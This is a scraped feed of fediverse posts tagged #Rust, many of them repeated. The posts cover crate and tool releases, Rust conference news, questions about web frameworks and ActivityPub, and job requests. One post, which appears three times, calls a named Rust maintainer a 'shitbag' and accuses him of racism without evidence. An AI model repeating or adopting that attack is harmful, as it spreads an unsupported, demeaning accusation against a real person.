Hongdown 0.2.0 is out! Hongdown is an opinionated #Markdown formatter written in #Rust, and this release brings #WebAssembly support, so you can now use it as a library in #Node.js, #Bun, #Deno, and browsers.
New features:
🇺🇦
"straight" → “curly”)Try it in the browser: https://dahlia.github.io/hongdown/
Release notes: https://github.com/dahlia/hongdown/discussions/10
github.com
We're excited to announce Hongdown 0.2.0! This release brings major new features including WebAssembly support, smart heading capitalization, typographic punctuation transformation, and external co...
Hongdown 0.2.0 is out! Hongdown is an opinionated #Markdown formatter written in #Rust, and this release brings #WebAssembly support, so you can now use it as a library in #Node.js, #Bun, #Deno, and browsers.
New features:
"straight" → “curly”)Try it in the browser: https://dahlia.github.io/hongdown/
Release notes: https://github.com/dahlia/hongdown/discussions/10
github.com
We're excited to announce Hongdown 0.2.0! This release brings major new features including WebAssembly support, smart heading capitalization, typographic punctuation transformation, and external co...
Added a fancy map to my article on Rust conferences in 2026 and a way to filter by open CfP!
Check it out!
Screenshot of my blog post on Rust 2026 conferences with a black-and-white map showing all conference locations and a set of buttons to filter conferences by "CfP open" and "Dates Announced."
I try to implement an #activitypub server in #Rust, have problems talking to #mastodon and would appreciate some help.
I try to send a follow action to Mastodon. The request is - as far as I can tell - signed according to https://docs.joinmastodon.org/spec/security/
The "keyId" of the signatrue is "https://pub.saar.social/user/achim/key". Mastodon calls this url as expected and my server returns: [...]
Hongdown: An opinionated Markdown formatter in Rust https://lobste.rs/s/bstbd6 #show #rust
https://github.com/dahlia/hongdown
github.com
A Markdown formatter that enforces Hong Minhee's Markdown style conventions - dahlia/hongdown
Hongdown: An opinionated Markdown formatter in Rust https://lobste.rs/s/bstbd6 #show #rust
https://github.com/dahlia/hongdown
github.com
A Markdown formatter that enforces Hong Minhee's Markdown style conventions - dahlia/hongdown
Hongdown: An opinionated Markdown formatter in Rust https://lobste.rs/s/bstbd6 #show #rust
https://github.com/dahlia/hongdown
github.com
A Markdown formatter that enforces Hong Minhee's Markdown style conventions - dahlia/hongdown
ladies and gents, the rare self-referential rust type. Did not know Self syntax was supported on the type declaration.
![The following snippet of rust code with colored syntax:
```
#[derive(Debug, Serialize, Deserialize, Validate, Clone)]
#[serde(rename_all = "camelCase")]
pub enum DocPredicateClause {
HasTag(#[garde(dive)] PropTag),
Or(#[garde(dive)] Vec<Self>),
And(#[garde(dive)] Vec<Self>),
Not(#[garde(dive)] Box<Self>),
}
```](https://media.tilde.zone/media_attachments/files/115/868/462/950/573/084/original/894cd048f43f88ea.png)
The following snippet of rust code with colored syntax: ``` #[derive(Debug, Serialize, Deserialize, Validate, Clone)] #[serde(rename_all = "camelCase")] pub enum DocPredicateClause { HasTag(#[garde(dive)] PropTag), Or(#[garde(dive)] Vec<Self>), And(#[garde(dive)] Vec<Self>), Not(#[garde(dive)] Box<Self>), } ```
I created a simple FEP-ae97 web client:
https://codeberg.org/silverpill/fep-ae97-web-client
It is written in #Rust using Leptos and APx. Everything is compiled to WebAssembly and the application can be served as a static website.
This technology stack is very promising, but I think it is not yet ready for anything serious. The development process is slower compared to JavaScript/TypeScript, and the resulting binary is huge - it's 4.5 MB already (without optimizations). So I am going to keep an eye on it, but focus on building another FEP-ae97 client using a different approach.
mitra.social
Federated social network
I created a simple FEP-ae97 web client:
https://codeberg.org/silverpill/fep-ae97-web-client
It is written in #Rust using Leptos and APx. Everything is compiled to WebAssembly and the application can be served as a static website.
This technology stack is very promising, but I think it is not yet ready for anything serious. The development process is slower compared to JavaScript/TypeScript, and the resulting binary is huge - it's 4.5 MB already (without optimizations). So I am going to keep an eye on it, but focus on building another FEP-ae97 client using a different approach.
mitra.social
Federated social network
catswords-jsrt-rs provides minimal ChakraCore bindings for Rust.
github.com
catswords-jsrt-rs provides minimal ChakraCore bindings for Rust. (Experimental) - gnh1201/catswords-jsrt-rs
catswords-jsrt-rs provides minimal ChakraCore bindings for Rust.
github.com
catswords-jsrt-rs provides minimal ChakraCore bindings for Rust. (Experimental) - gnh1201/catswords-jsrt-rs
What DOM crates do #rust folks like using with html5ever?
What DOM crates do #rust folks like using with html5ever?
Absolutely phenomenal video on complex Rust. Concise, storied explanation with great examples.
youtube.com
👉Join the Rust Live Accelerator (30 seats now open): https://letsgetrusty.com/join.In this video we'll explore some of Rust's most complicated features by a...
Rust9x updated to 1.93 :V
Another year, another update!
https://seri.tools/blog/rust9x-1-93/
Rust9x provides Windows downlevel support for the Rust standard library, bringing it to Windows 95, 98, ME, and most NT-based Windows versions. See the project wiki on Github: https://github.com/rust9x/rust/wiki.
'Ferrissoft Visual Rust 9X', logo in the style of old Visual Studio logos
Rust9x updated to 1.93 :V
Another year, another update!
https://seri.tools/blog/rust9x-1-93/
Rust9x provides Windows downlevel support for the Rust standard library, bringing it to Windows 95, 98, ME, and most NT-based Windows versions. See the project wiki on Github: https://github.com/rust9x/rust/wiki.
'Ferrissoft Visual Rust 9X', logo in the style of old Visual Studio logos
Rust's Block Pattern
Here’s a little idiom that I haven’t really seen discussed anywhere, that I think makes Rust code much cleaner and more robust.
— by @notgull
🦀 https://notgull.net/block-pattern/
#notgull #rust #rustlang #coding #robust #cleancode #RobustCode #dev #code
notgull.net
Here’s a little idiom that I haven’t really seen discussed anywhere, that I think makes Rust code much cleaner and more robust.
Koťátka! Budu končit v současné práci, čas na nová dobrodružství. Ještě nevím, do čeho se přesně chci pustit. Ale jedna věc, která mě láká, je naučit se Rust. Je to bizarní dotaz, ale nehodil by se vám někomu člověk, co se naučí #Rust a bude pak pro vás dělat nějaké systémové věci? Jsem čistotný, programuju 30+ let ve všem možném od Basicu přes Pascal, C, assembler, Objective-C a Swift až po TypeScript. (Chápu, že ta konverzace je v principu složitější, ale to můžem vždycky dohnat později.)
@stefan_hessbrueggen I am not in the know about the GNOME/libxml2 developments, but a while ago a blogpost by @faassen got me curious. Took me a while to find it again, but here it is: https://blog.startifact.com/posts/xee/
#Xee is an almost complete #XPath31 implementation plus incomplete #XSLT3 inplementation, in #Rust. Here is the repo (last commit from Oct 2025): https://github.com/Paligo/xee
Probably something to keep an eye on...
github.com
XPath, XSLT. Contribute to Paligo/xee development by creating an account on GitHub.
Say, I want to write a full stack web application in Rust, preferably with zero JavaScript (WASM is okay, though).
What is everyone's favourite? I've used Yew before and it was nice. I've heard about Leptos, but apart from spending a total of 5 minutes glancing at its docs and examples, I know nothing about it.
Are there others? What's people's favourite?
because I keep biting off more than I can chew. I wanted to release a small utility first to get familiar again with #GNOME / #GTK / #Flatpak development.
also something that I need myself. a week worth of hacking.
introducing Bobby: a SQLite file viewer.
GNOME application window showing a database table with 4 columns and many rows. The toolbar has a table switcher widget and the opened file name.
#Microsoft to Replace All C/C++ #Code With #Rust by 2030
https://www.thurrott.com/dev/330980/microsoft-to-replace-all-c-c-code-with-rust-by-2030
thurrott.com
Microsoft is taking an impressive step in modernizing its biggest codebases and will eliminate all C/C++ code by the end of the decade.
I just found out that miri now supports ffi in any shape, and it's like x-mas came early!
https://www.ralfj.de/blog/2025/12/22/miri.html#invoking-native-code-from-miri
ralfj.de
It is time for another “what is happening in Miri” post. In fact this is way overdue, with the previous update being from more than 3 years ago (what even is time?!?), but it is also increa...
I just found out that miri now supports ffi in any shape, and it's like x-mas came early!
https://www.ralfj.de/blog/2025/12/22/miri.html#invoking-native-code-from-miri
ralfj.de
It is time for another “what is happening in Miri” post. In fact this is way overdue, with the previous update being from more than 3 years ago (what even is time?!?), but it is also increa...
Just released the 0.15 version of the Rust askama crate (which handles jinja templates at compile-time).
The full changelog is here: https://github.com/askama-rs/askama/releases/tag/v0.15.0
It comes with a crazy amount of new stuff, like support for templating on enum variants, or the beginning or better compilation errors (in some cases it actually shows you in the template where the bug is!).
We also extended what Rust expressions you can use in the templates and made a lot of performance improvements (to reduce compile-time).
Enjoy!
@fasterthanlime
There is a #bounty of $1000 to solve for #reproducible #rust to build x86_64-linux-gnu libstd for rust 1.91 with #stagex and be able to compile a dynamically linked rust binary with it that runs on #Debian.
Would you be interested to take the challenge?
#Mullvad released open source #Wireguard implementation in #Rust
https://mullvad.net/en/blog/announcing-gotatun-the-future-of-wireguard-at-mullvad-vpn
mullvad.net
GotaTun is a WireGuard® implementation written in Rust aimed at being fast, efficient and reliable.
A first of its kind Linux CVE dropped and in kernel code rewritten in Rust. The Rust rewrite introduced a race condition in a multi-threaded doubly linked list implementation leading to memory corruption.
This is the first formal CVE located in the Linux Rust code, a bit of an auspicious milestone.
phoronix.com
Another service jumping on the AI bandwagon https://docs.shuttle.dev/docs/shuttle-shutdown #rust
docs.shuttle.dev
Shuttle is ceasing operations
Roughly two decades ago (!) I was a grad student teaching #pre-calculus and #calculus. I had a student who thought it was hilarious that the absolute value button on the graphing calculator was labeled “abs”. She laughed about how it was “time to do some abs.” I really thought it was great, because if you make a joke out of something like that, you are more likely to remember it.
And even though I never again crossed paths with that student after the term was over, every time I see “abs” for absolute value, I think of this moment.
Indeed, today I was writing some #Rust code and used the unsigned_abs method on a signed integer, and I immediately imagined some shirtless guy at a gym with a marker trying to convince another patron to autograph his abdominal muscles.
https://doc.rust-lang.org/std/primitive.isize.html#method.unsigned_abs
(There’s also checked_abs, overflowing_abs, overflowing_abs, wrapping_abs, …)
doc.rust-lang.org
The pointer-sized signed integer type.
Roughly two decades ago (!) I was a grad student teaching #pre-calculus and #calculus. I had a student who thought it was hilarious that the absolute value button on the graphing calculator was labeled “abs”. She laughed about how it was “time to do some abs.” I really thought it was great, because if you make a joke out of something like that, you are more likely to remember it.
And even though I never again crossed paths with that student after the term was over, every time I see “abs” for absolute value, I think of this moment.
Indeed, today I was writing some #Rust code and used the unsigned_abs method on a signed integer, and I immediately imagined some shirtless guy at a gym with a marker trying to convince another patron to autograph his abdominal muscles.
https://doc.rust-lang.org/std/primitive.isize.html#method.unsigned_abs
(There’s also checked_abs, overflowing_abs, overflowing_abs, wrapping_abs, …)
doc.rust-lang.org
The pointer-sized signed integer type.
One of the penguins from the "Madagascar" movie giving a thousand-yard stare, with a close-up superimposed over a wider view. Caption: "Rust developers being told they have to unwrap their Christmas presents"
#Mullvad released open source #Wireguard implementation in #Rust
https://mullvad.net/en/blog/announcing-gotatun-the-future-of-wireguard-at-mullvad-vpn
mullvad.net
GotaTun is a WireGuard® implementation written in Rust aimed at being fast, efficient and reliable.
One of the penguins from the "Madagascar" movie giving a thousand-yard stare, with a close-up superimposed over a wider view. Caption: "Rust developers being told they have to unwrap their Christmas presents"
A first of its kind Linux CVE dropped and in kernel code rewritten in Rust. The Rust rewrite introduced a race condition in a multi-threaded doubly linked list implementation leading to memory corruption.
This is the first formal CVE located in the Linux Rust code, a bit of an auspicious milestone.
phoronix.com
Today, I once again wake up worrying about #Rust 's future.
Why is a shitbag such as #dtolnay still allowed to single-handedly maintain fundamental libraries for the ecosystem? Why is he part of Library API team? How is he not permabanned for single-handedly permanently damaging Rust by killing off comptime reflection over his racism? How is he not permabanned for the power play he attempted to pull with his "RFC" after pushing pre-compiled binary to serde without notice? Why are MIC companies routinely tolerated at Rust conventions? Why does no one talk about it, despite the problems not being solved? Has #Ruby takeover taught people nothing? Will Rust survive another year without turning into #fashtech?
So many questions. I think about them every time I use Rust, which is often.
Apropos of nothing.
Wow! @ferrous published a really interesting vacancy.
A full-time PhD research to implement #Rust network stack and prove it with Rocq.
Anyone wants to try? :)
mitra.do.rayslava.com
Federated social network
question for #rust coders: so i wrote a program, and its basic functionality seems to be mostly finished, but right now it's a single crate that just functions as a console-mode program.
it probably makes sense to split the core functionality into some kind of library, so that it can be then used by others in other programs, perhaps even in GUI-based wrappers, right?
what would be the best way to do that? can/should i keep both the library crate and the -cli program crate in the same git repo?
Wow! @ferrous published a really interesting vacancy.
A full-time PhD research to implement #Rust network stack and prove it with Rocq.
Anyone wants to try? :)
mitra.do.rayslava.com
Federated social network
Does anyone knows good way to find #gig opportunity for software dev? I'd like to avoid pitfalls of well known platforms. I can do:
- #Rust CLI/Dev tools, APIs
- #C code (#FreeRTOS, #Zephyr, #Linux including some #drivers or #v4l2)
- #Cpp C++ code
- #Bash or #Python scripts, tools
- #CI workflows (GitHub, GitLab)
- #Yocto layers
- #Debian packaging + #DKMS
Anyone has experience in getting hands on small projects?
If I were to setup an environment to run untrusted user code, I'd certainly use Rust and Wasm and Cloud Hypervisor. Finally found the time to write up why and how: "Building a Wasm runner with Cloud Hypervisor" https://burakemir.ch/post/building-wasm-runner/
burakemir.ch
One of the penguins from the "Madagascar" movie giving a thousand-yard stare, with a close-up superimposed over a wider view. Caption: "Rust developers being told they have to unwrap their Christmas presents"
Over the past couple of weeks I've been building out a program to "bookmark" directories.
It's written in #rust, and is called "Jump to Directory". It was written to learn Rust mainly, but also to solve a problem of moving through the directories quicker.
Really enjoying Rust for this tooling, and slowly getting to grips with the type system and the errors 😅
https://gitlab.com/NigelGreenway/jump-to-directory
Let me know if you use/enjoy 😊
gitlab.com
An easier way to jump between projects View or add Issues
If I were to setup an environment to run untrusted user code, I'd certainly use Rust and Wasm and Cloud Hypervisor. Finally found the time to write up why and how: "Building a Wasm runner with Cloud Hypervisor" https://burakemir.ch/post/building-wasm-runner/
burakemir.ch
Writing a blatant Telegram clone using Qt, QML and Rust. And C++ https://lobste.rs/s/q3j88a #show #c++ #programming #rust
https://kemble.net/blog/provoke/
kemble.net
This was a fun project for a couple of days, but I will probably shelve it for now so I can continue what I was already working on before. Read on to follow along with my journey. Spoilers: I didn’t get very far.
APPEL à tous les développeurs qui veulent programmer en Rust dans l'intérêt général avec des technologies W3C entre autres sur des sujets passionnants !
N'hésitez pas à consulter la vitrine FOSS et n'hésitez pas à me contacter pour échanger sur les détails que j'ai envisionné sur chacun de ces sujets :
#dev #rust #asso #communaute #interetgeneral #contribution #xml #xsl #xhtml #atom #fs #email #securite #SansFuiteMemoire #ethiciel
ethiciel.org
Thank you @fasterthanlime that's how it should be done.
context: https://fasterthanli.me/articles/my-gift-to-the-rust-docs-team
Screenshot of a text bubble on the fasterthanli.me website Those themes do not appeal to my personal aesthetic, but | decided that consistency was the most important imperative here.
Today, I once again wake up worrying about #Rust 's future.
Why is a shitbag such as #dtolnay still allowed to single-handedly maintain fundamental libraries for the ecosystem? Why is he part of Library API team? How is he not permabanned for single-handedly permanently damaging Rust by killing off comptime reflection over his racism? How is he not permabanned for the power play he attempted to pull with his "RFC" after pushing pre-compiled binary to serde without notice? Why are MIC companies routinely tolerated at Rust conventions? Why does no one talk about it, despite the problems not being solved? Has #Ruby takeover taught people nothing? Will Rust survive another year without turning into #fashtech?
So many questions. I think about them every time I use Rust, which is often.
Apropos of nothing.
Today, I once again wake up worrying about #Rust 's future.
Why is a shitbag such as #dtolnay still allowed to single-handedly maintain fundamental libraries for the ecosystem? Why is he part of Library API team? How is he not permabanned for single-handedly permanently damaging Rust by killing off comptime reflection over his racism? How is he not permabanned for the power play he attempted to pull with his "RFC" after pushing pre-compiled binary to serde without notice? Why are MIC companies routinely tolerated at Rust conventions? Why does no one talk about it, despite the problems not being solved? Has #Ruby takeover taught people nothing? Will Rust survive another year without turning into #fashtech?
So many questions. I think about them every time I use Rust, which is often.
Apropos of nothing.
Patterns for Defensive Programming in #Rust
corrode.dev
I have a hobby. Whenever I see the comment // this should never happen in code, I try to find out the exact conditions under which it could happen. And in 90% of cases, I find a way to do just that. More often than not…
Patterns for Defensive Programming in #Rust
corrode.dev
I have a hobby. Whenever I see the comment // this should never happen in code, I try to find out the exact conditions under which it could happen. And in 90% of cases, I find a way to do just that. More often than not…
Unstable Stream Updates: 12th of December 2025
In terms of importance, this is a pretty big one! It's the first Unstable stream update delivered via our newly upgrade infra that supports Versioned Repositories! This is a first MVP version that the team are going to build upon and will lay the groundwork for future development and feature delivery.
Outside of this, this week we are delivering:
Cosmic 1.0.0
Gnome 49.2 updates
KDE Gear 25.12.0
Along with many more important updates including bug fixes.
Check out the GitHub Discussions post for greater detail!
github.com
This is our first Unstable Stream Update delivered via our newly upgraded infra that supports Versioned Repositories, and we're pretty excited about it! As part of this change, it is perhaps worth ...
Preferred langs are #Rust, #Zig, #C, #CPP or any #ASM 🫣. But it doesn’t matter actually. I like to read old papers too ;)
Please 🔁.
mastodon.gamedev.place
Hey all! 👋🏻 I’m looking for some shader-like pipeline/#rendering system/library/framework for 1-bit graphics with 2x #framebuffer (double-buffered — actual & previous) with #blitting on #SIMD and #SWAR? CPU-only, mostly targeting ARM32/64/Thumb1. I understand that it’s rare and mostly impossible to exist, so I just need some source-based guidance/hints of oldschool/demoscene- tricks and algorithms which I don’t know yet (I know a lot already, I’m 40)) and of course i can port.
Hey all! 👋🏻
I’m looking for some shader-like pipeline/#rendering system/library/framework for 1-bit graphics with 2x #framebuffer (double-buffered — actual & previous) with #blitting on #SIMD and #SWAR? CPU-only, mostly targeting ARM32/64/Thumb1.
I understand that it’s rare and mostly impossible to exist, so I just need some source-based guidance/hints of oldschool/demoscene- tricks and algorithms which I don’t know yet (I know a lot already, I’m 40)) and of course i can port.
Hey Brisbane Rusties,
The monthly meetup is on tonight and I'll be giving a crash course on Prost/gRPC 
Hope to see you there!
https://www.meetup.com/rust-brisbane/events/312027415/
#Rust #RustLang #RustBNE #RustBUG #RustLangBUG #BNE #Brisbane
meetup.com
**RUST MEETUP DEC 2025** ===================== Please join us for the (first and) last meetup this year all around Rust. This will be a new start of this group so please b
If you're still relying on #MinIO, you're certainly aware that after their #OpenSource bait-and-switch, it is now a growing liability and technical debt in your infra.
#Ceph (a rock solid choice!) seems daunting & complex for your use case?
Check out #garage! #S3 storage written in #Rust, all relevant features & sponsored by several funds.
It's what I run in my own labs.
Their commitment to OSS:
https://garagehq.deuxfleurs.fr/blog/2025-commoning-opensource/
garagehq.deuxfleurs.fr
Facing recent events in the software-defined storage community, we would like to highlight that not all open-source projects choose an open-source lic…
Hmmm... 🤔
#Rust: Proof of Concept, Not Replacement https://files.neoon.com/rust-game-over-203X.html #programming #opinion
files.neoon.com
""#Rust in the [#Linux] #kernel is no longer experimental — it is now a core part of the kernel and is here to stay. So the "experimental" tag will be coming off […]""
Screenshot of the linked text
Could Rust migrate from Github?
> Zig migrated from Github to Codeberg, this sent waves through the free and open source software ecosystem. It set a precedent for which big projects could migrate from Github, and people listened.
https://blog.goose.love/posts/could-rust-migrate-from-github/
blog.goose.love
I have a training course for the basics of Rust. In about four hours I can cover enough to enable the students to learn more on their own. Now that Rust is a core part of the Linux kernel, I imagine there are some Linux kernel developers who feel they need to learn Rust soon. They should talk to their employer to hire me to teach them.
https://liw.fi/training/rust-basics/
(Blatant ad. Feel free to boost.)
liw.fi
@ianthetechie @skade @ivory There's number of bots, Vietnamese one especially annoying posting w/o language metadata (or wrong language - I haven't dig) and I don't have "Translate" button.
I'm considering banning it from the feed as it posts about #Rust quite a bit.
Someone, who invented that for #Mastodon was evidently non-native in English and considered people using different languages. It even allows me to set my languages, what I think helps with feed preference.
""#Rust in the [#Linux] #kernel is no longer experimental — it is now a core part of the kernel and is here to stay. So the "experimental" tag will be coming off […]""
Screenshot of the linked text
If you're still relying on #MinIO, you're certainly aware that after their #OpenSource bait-and-switch, it is now a growing liability and technical debt in your infra.
#Ceph (a rock solid choice!) seems daunting & complex for your use case?
Check out #garage! #S3 storage written in #Rust, all relevant features & sponsored by several funds.
It's what I run in my own labs.
Their commitment to OSS:
https://garagehq.deuxfleurs.fr/blog/2025-commoning-opensource/
garagehq.deuxfleurs.fr
Facing recent events in the software-defined storage community, we would like to highlight that not all open-source projects choose an open-source lic…
I once used a tool called rvm to manage Ruby versions & gemsets (cool, but complicated), then migrated to the simpler rbenv. But what if you could use something even more modern? Enter rv.
Inspired by uv in the Python ecosystem and written in #Rust, rv aims to become your singular solution for total management of the Ruby environment. I’m excited to see where this leads the #Ruby ecosystem.
https://www.fullstackruby.dev/ruby-infrastructure/2025/12/08/rv-making-swift-progress/
fullstackruby.dev
Contributors are brushing up on their Rust and launching new, fast tools. I’m excited to see where that leads the Ruby ecosystem.
used to be kinda dismissive about the whole "#rust has really good compiler error messages" thing, because i've personally seen GCC improve a lot since i started coding, but, like
rust has really good compiler error messages
I once used a tool called rvm to manage Ruby versions & gemsets (cool, but complicated), then migrated to the simpler rbenv. But what if you could use something even more modern? Enter rv.
Inspired by uv in the Python ecosystem and written in #Rust, rv aims to become your singular solution for total management of the Ruby environment. I’m excited to see where this leads the #Ruby ecosystem.
https://www.fullstackruby.dev/ruby-infrastructure/2025/12/08/rv-making-swift-progress/
fullstackruby.dev
Contributors are brushing up on their Rust and launching new, fast tools. I’m excited to see where that leads the Ruby ecosystem.
you can judge my novice-level #rust solutions for #aoc2025 in this repo:
https://codeberg.org/stellavie/aoc2025-rust
codeberg.org
aoc2025-rust
you can judge my novice-level #rust solutions for #aoc2025 in this repo:
https://codeberg.org/stellavie/aoc2025-rust
codeberg.org
aoc2025-rust
RustNet v0.17.0 will include Landlock sandboxing 🔒
The idea: sandbox after initialization. Drop CAP_NET_RAW, restrict filesystem, block outbound connections.
But whether it is actually useful when CAP_BPF stays, I'm not really certain... If you want to have some more info https://domcyrus.github.io/2025/12/06/landlock-sandboxing-network-tools.html #linux #security #rust
Discover a new Intel firmware analysis tool, built by Daniel Maslowski and written in #Rust. It's designed to push past the limits of me_cleaner and MEAnalyzer, offering a cleaner design, better documentation, and improved portability for firmware use.
Whether you're a Rust enthusiast or just looking for something more efficient, this tool is sure to catch your attention. Want to learn more? Check out Daniel's upcoming talk at the Developers vPub 0x11:
https://cfp.3mdeb.com/developers-vpub-0x11-2025/talk/A73AE7/
If you're in nightly, you can pass `-Zrustc-unicode` to cargo and get a different rendering of diagnostics, with the ASCII-art reimagined to use Unicode box-drawing characters.
This is something I built some time back in rustc, and @muscraft put the actual effort of piping things through from cargo to rustc *and* make it part of the larger effort of making annotate-snippets the official renderer for both cargo and rustc (rustc has forever had its own bespoke renderer, annotate-snippets had to be taught to deal with all the small custom things that rustc has to deal on the regular).
From now on, if you want to match rustc output exactly, just use annotate-snippets.
https://github.com/rust-lang/rust/issues/148607
https://github.com/rust-lang/annotate-snippets-rs
#RustLang #Rust
github.com
Library for snippet annotations. Contribute to rust-lang/annotate-snippets-rs development by creating an account on GitHub.
New post: a defense of lock poisoning in #rust.
Followup to recent discussion: decided to write about lock poisoning, looking at the arguments on each side, and informed by our experience at @oxidecomputer dealing with the parallel problem of unexpected async cancellations in critical sections.
Please give it a read!
sunshowers.io
It's worth retaining one of multithreaded Rust's most valuable features.
🚀 Ferrocene 25.11.0 is out!
Includes our first IEC 61508 (SIL 2)-certified subset of core, enabling certifiable #Rust for safety-critical systems across multiple architectures.
Also includes updates from Rust 1.89 & 1.90.
🔗 Release notes: https://public-docs.ferrocene.dev/main/release-notes/25.11.0.html
Ferrous Systems logo Green box that says: It's official! Headline: Core. Qualified. Body text: Ferrocene 25.11.0, the latest update to our qualified Rust toolchain, is now live. This release arrives with our first IEC 61508 (SIL 2) certified subset of the Rust core library (core)! Teams can now ship certifiable code for multiple architectures using a fully qualified Rust compiler and a significant portion of the core library certified.
a bit of #rant I guess (?)
So the state of the #ui in today world is that apps care more about the "brand" instead of using darn OS widgets (so all apps would look more or less uniform with the platform). Turns out that #Qt kinda switched from QtWidgets (native OS controlls) to QML and Qt Quick which doesn't use native widgets but rather paints it's own that try to look like the native ones via theming. So if you want native you should use QtWidgets.
Qt is kinda huge though because it's not only UI but a lot of libraries as well…
On the other hand there is a #libui (https://github.com/libui-ng/libui-ng) which seems great (and has neat bindings for #Rust) but it lacks quite a lot of widgets… (and on Linux they only do GTK :/)
Would be nice to have something like scaled-down-QtWidgets that don't require "whole" Qt and would offer nice bindings to Rust…
(though yesterday I dabbed a bit in "modern" #C++ and it wasn't all that terrible 😱 )
github.com
libui-ng: a portable GUI library for C. "libui for the next generation" - libui-ng/libui-ng
🚀 Ferrocene 25.11.0 is out!
Includes our first IEC 61508 (SIL 2)-certified subset of core, enabling certifiable #Rust for safety-critical systems across multiple architectures.
Also includes updates from Rust 1.89 & 1.90.
🔗 Release notes: https://public-docs.ferrocene.dev/main/release-notes/25.11.0.html
Ferrous Systems logo Green box that says: It's official! Headline: Core. Qualified. Body text: Ferrocene 25.11.0, the latest update to our qualified Rust toolchain, is now live. This release arrives with our first IEC 61508 (SIL 2) certified subset of the Rust core library (core)! Teams can now ship certifiable code for multiple architectures using a fully qualified Rust compiler and a significant portion of the core library certified.
If you use #neovim and #rust and want to have access to the whole compiler output as it renders in the terminal, you might want to take a look at this plugin
https://github.com/alexpasmantier/krust.nvim
Screenshot of neovim with rust code showing a floating window with a compiler error.
🚀 Ferrocene 25.11.0 is out!
Includes our first IEC 61508 (SIL 2)-certified subset of core, enabling certifiable #Rust for safety-critical systems across multiple architectures.
Also includes updates from Rust 1.89 & 1.90.
🔗 Release notes: https://public-docs.ferrocene.dev/main/release-notes/25.11.0.html
Ferrous Systems logo Green box that says: It's official! Headline: Core. Qualified. Body text: Ferrocene 25.11.0, the latest update to our qualified Rust toolchain, is now live. This release arrives with our first IEC 61508 (SIL 2) certified subset of the Rust core library (core)! Teams can now ship certifiable code for multiple architectures using a fully qualified Rust compiler and a significant portion of the core library certified.
New post: a defense of lock poisoning in #rust.
Followup to recent discussion: decided to write about lock poisoning, looking at the arguments on each side, and informed by our experience at @oxidecomputer dealing with the parallel problem of unexpected async cancellations in critical sections.
Please give it a read!
sunshowers.io
It's worth retaining one of multithreaded Rust's most valuable features.
New post: a defense of lock poisoning in #rust.
Followup to recent discussion: decided to write about lock poisoning, looking at the arguments on each side, and informed by our experience at @oxidecomputer dealing with the parallel problem of unexpected async cancellations in critical sections.
Please give it a read!
sunshowers.io
It's worth retaining one of multithreaded Rust's most valuable features.
New post: a defense of lock poisoning in #rust.
Followup to recent discussion: decided to write about lock poisoning, looking at the arguments on each side, and informed by our experience at @oxidecomputer dealing with the parallel problem of unexpected async cancellations in critical sections.
Please give it a read!
sunshowers.io
It's worth retaining one of multithreaded Rust's most valuable features.
AOC 25 - Day 1
Python solution 18 ms, Rust 4 ms
Nothing spectacular. The problem was simple enough, but the "off by one, bane of programmers since ∞±1" special cases took some time to figure
AOC 2025 Day 1 Solutions in Python and Rust
Loved talking Glen about #webrtc and Sans IO in #rustlang – full on geek talk!
https://podcasts.apple.com/es/podcast/netstack-fm/id1833932472?l=en-GB
In other formats here:
netstack.fm
Interviews, monologues, and deep dives into Rust and modern networking systems.
Loved talking Glen about #webrtc and Sans IO in #rustlang – full on geek talk!
https://podcasts.apple.com/es/podcast/netstack-fm/id1833932472?l=en-GB
In other formats here:
netstack.fm
Interviews, monologues, and deep dives into Rust and modern networking systems.
The next version of @nlnetlabs 's scripting language Roto (to be released sometime in December) will include a much-requested feature: lists! Below is a small example of lists in action, showcasing how easy it is to pass them to and from a Roto script. It will print `Result: [0, 1, 2, 3, 4, 5]`.
I'd like to take a moment to explain why lists were so hard to include in Roto in a thread!
1/6
On behalf of the cargo-semver-checks project, it's my pleasure to recognize @jyn's irreplaceable and tireless work in the Rust community 🦀
I'll share just one anecdote; you can check out the GitHub Sponsors link to see more 🧵
#rust #rustlang #funding
GitHub Sponsors email stating: "You sponsored @jyn514! Sponsorship amount: $1000 one time"
On behalf of the cargo-semver-checks project, it's my pleasure to recognize @jyn's irreplaceable and tireless work in the Rust community 🦀
I'll share just one anecdote; you can check out the GitHub Sponsors link to see more 🧵
#rust #rustlang #funding
GitHub Sponsors email stating: "You sponsored @jyn514! Sponsorship amount: $1000 one time"
I've launched a new open source project:
https://github.com/medusalix/FreeMDU
FreeMDU provides open hardware and software tools for communicating with Miele appliances via their optical diagnostic interface.
More details about the project will be presented at the 39th Chaos Communication Congress as part of the talk "Hacking washing machines".
github.com
Open hardware and software tools for communicating with Miele appliances via their optical diagnostic interface - medusalix/FreeMDU
Today I'm releasing niri v25.11 with long-awaited config includes, Alt-Tab, true maximize, custom modes, and a bunch of other improvements! 
Enjoy the release notes :)
Showcasing Alt-Tab in niri.
Showcasing horizontal drag to scroll the view in niri.
Showcasing window maximize in niri.
Sad to see the the @rust forum uses HCaptcha, thus preventing me as a blind user from signing up and posting my projects there. I'd like to escalate this to the right people, but it's hard to do so without an account on the forums. Anyone got any suggestions/know who I can reach about this? #Rust #Rustlang #Accessibility
Sad to see the the @rust forum uses HCaptcha, thus preventing me as a blind user from signing up and posting my projects there. I'd like to escalate this to the right people, but it's hard to do so without an account on the forums. Anyone got any suggestions/know who I can reach about this? #Rust #Rustlang #Accessibility
I recently added a lint in the rust compiler and considering that it could prevent CVEs, I think it's worth talking about it.
Blog post is here: https://blog.guillaume-gomez.fr/articles/2025-11-28+New+rust+lint%3A+function_casts_as_integer
spoiler alert: double cat dose!
Blog of Guillaume Gomez (New rust lint: function_casts_as_integer)
This Week's Rust Challenge 🦀
Zigzag Merge Iterator
Implement an iterator that merges two input iterators of i32 by alternating yields (first from iter1, then iter2, etc.) until both are exhausted.
If one ends early, continue with the remaining from the other.
I’m gonna boost this again cause we really haven’t gotten very many applications but we could really really use the engineering help, esp if you’re an experienced #Rust #RustLang engineer.
We need more help for making @conjured_ink happen—a distributed e-commerce platform for indies that centers creatives and their needs, rather than just funneling them back into more exploitation. We’re also heavily focused on the ability of nsfw creatives to keep doing their work safely, something that is rapidly vanishing.
Open source drive bys are great but having a set of folks who are willing and able to commit to just 5 hours a week would make a world of difference for the project. Please take a look and lmk if you have any questions!
hachyderm.io
We're looking for dev volunteers as part of our Sand Witch Circle—experienced engineers who care about fast, efficient software and making the best of the Web as part of our mission to help online creative communities and fight censorship. Apply here: https://forms.gle/YjoLacG6ftBcsPfDA
We're looking for dev volunteers as part of our Sand Witch Circle—experienced engineers who care about fast, efficient software and making the best of the Web as part of our mission to help online creative communities and fight censorship.
Apply here: https://forms.gle/YjoLacG6ftBcsPfDA
docs.google.com
